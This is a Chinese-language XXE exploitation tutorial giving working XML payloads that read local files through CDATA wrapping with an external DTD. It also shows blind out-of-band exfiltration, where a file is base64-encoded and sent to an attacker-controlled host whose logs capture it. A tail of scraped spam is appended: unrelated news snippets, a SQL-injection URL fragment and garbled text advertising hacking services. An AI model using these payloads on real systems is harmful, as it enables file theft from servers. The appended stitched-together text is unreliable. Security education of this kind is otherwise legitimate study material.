在XXE漏洞讲解——基础篇?中,XXE的基本原理还有简单的文件读取利用方式我们已经有了基本的了解,那么接下来就带来我们的XXE漏洞详解——进阶篇!
上篇我们本地搭建xxe漏洞环境尝试了读取system.ini文件,这是最基本的一种xxe漏洞利用方式,但是实战中往往会遇到很多的问题,也需要更多中多样的利用方式和技巧,本片就给大家一一介绍~
在读取文件时,文件中包含"<,>,&"等这些特殊符号时,会被xml解析器解析,报错从而导致读取失败,例如尝试读取以下文件
C: est.txt
内容:
<Baize Sec>
payload:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [<!ENTITY xxe SYSTEM "file:///c:/test.txt">]>
<creds>&xxe;</creds>
可以看到与读system.ini不同,这里报错了,想知道原因需要了解CDATA和PCDATA
PCDATA 指的是被解析的字符数据(Parsed Character Data)。
XML 解析器通常会解析 XML 文档中所有的文本。
当某个 XML 元素被解析时,其标签之间的文本也会被解析:
<message>此文本也会被解析</message>
解析器之所以这么做是因为 XML 元素可包含其他元素,就像这个例子中,其中的 <name>元素包含着另外的两个元素(first 和 last):
<name><first>Bill</first><last>Gates</last></name>
而解析器会把它分解为像这样的子元素:
<name>
<first>Bill</first>
<last>Gates</last>
</name>
术语 CDATA 指的是不应由 XML 解析器进行解析的文本数据(Unparsed Character Data)。
在 XML 元素中,"<" 和 "&" 是非法的。
"<" 会产生错误,因为解析器会把该字符解释为新元素的开始。
"&" 也会产生错误,因为解析器会把该字符解释为字符实体的开始。
某些文本,比如 JavaScript 代码,包含大量 "<" 或 "&" 字符。为了避免错误,可以将脚本代码定义为 CDATA。
CDATA 部分中的所有内容都会被解析器忽略。
CDATA 部分由 "<![CDATA[" 开始,由 "]]>" 结束:
<script>
<![CDATA[
function matchwo(a,b)
{
if (a < b && a < 0) then
{
return 1;
}
else
{
return 0;
}
}
]]>
</script>
在上面的例子中,解析器会忽略 CDATA 部分中的所有内容。
CDATA 部分不能包含字符串 "]]>"。也不允许嵌套的 CDATA 部分。
标记 CDATA 部分结尾的 "]]>" 不能包含空格或折行。
我们的思路就是把读取的文件放在CDATA中之后再调用,那么构造一个POC如下
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE roottag
[<!ENTITY start
"<![CDATA[<!ENTITY % xxe SYSTEM "file:///c:/test.txt"> ]]>"
>]
% xxe;>
<roottag>&start</roottag>
但是还是读不出来,如下图:
直接放正确的payload,然后再讲解原因
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY % start "<![CDATA[">
<!ENTITY % go SYSTEM "file:///c:/test.txt">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://aaaaahui.com/evil.dtd"> %dtd;
]>
<root>&all;</root>
http://aaaaahui.com/evil.dtd
<!ENTITY all "%start;%go;%end;">
可以看到这个payload是可以成功读取文件的,对比两个payload
两个payload的逻辑都是一样的,不过第二个是调用的外部的dtd文档就可以,这是因为在xml中,xml 解析器有个限制:不能在内部 Entity 中引用,“PEReferences forbidden in internal subset in Entity ”指的就是禁止内部参数实体引用。
现在很多xxe漏洞都是没有回显的,下面是再没有回显的时候可以的利用方式。
思路就是在没有回显的时候,我们将读取的文件带出来,举一个例子就是,我们如果将/etc/passwd文件赋给实体test,那么我们在访问http://www.aaaaahui.com/?%test时,我们服务器上的日志文件就会保存/etc/passwd的文件内容,下面进行实验:
<?xml version="1.0"?>
<!DOCTYPE message [ ? ?
<!ENTITY % remote SYSTEM "http://aaaaahui.com/xml.dtd">
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/test.txt">
%remote;
%send;
]>
<message>1234</message>
xml.dtd
<!ENTITY % start "<!ENTITY &#x25; send SYSTEM 'http://aaaaahui.com/?%file;'>">%start
%是%的html实体编码,因为在xml.dtd的实体中不能有%
实验如下图
查看日志文件
这里我们读取的文件已经带出来了,那么原理就是将文件赋给实体后带着访问我们的vps然后在日志文件中就能看到我们读取的文件了。
以上就是本篇的所有内容了,学习了网上其他作者的讲解,我这里比较基础,但是也尽可能详细了,xxe漏洞还有许多其他的利用方式,放在一起害怕基础较弱的小伙伴消化不了,所以后面再出一篇最终篇来介绍xxe漏洞其他的利用方式好了,敬请期待~
每日好文 【甘肃省载30人巴坠进农家乐 固原环县地区造成一路交通出行错乱致13人负伤】环县地区造成一路交通出行错乱今年10月28日十一点左右30分许,环县地区造成一路交通出行错乱。合水县道路运输有限...
花花昨天看到有个新闻,园子里面的铁树罕见地结了好多的果子,但是掌管园艺的老园丁可吓得不轻,为啥呢?因为这铁树的果子被人摘走了30多个。倒不是心疼果子,主要是铁树的果子有毒,它不能吃啊!估计是有的路...
大家再写文本文档的情况下,有木有想过让自身的文本文档略微有点儿特点呢?实际上,我们在日常应用的全过程中,很有可能非常少想起这一点。当得用的情况下,就有点儿手足无措了。例如给文本设定色调、实际效果这些。...
CVE-2014-4114缝隙简析http://tiechemo.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT TOP 1 LOW...
本文导读目录: 1、手机被苹果手机被黑客入侵通讯录视频怎么办 2、手机木马病毒的主要目的 3、木马病毒对手机有伤害?? 4、如果手机中了病毒,被人恶意盗取信息,通过通讯录散布消息让其他人也...
一、软件怎么使用手机上黑客接单流程 1、黑客中国网找莫里斯蠕虫的目的是创造一个微妙、无害和广泛传播的过程。软件怎么使用手机上模拟游戏手机软件有时这群人被称为黑帽黑客。中国网软件怎么使用手机上XXX流程...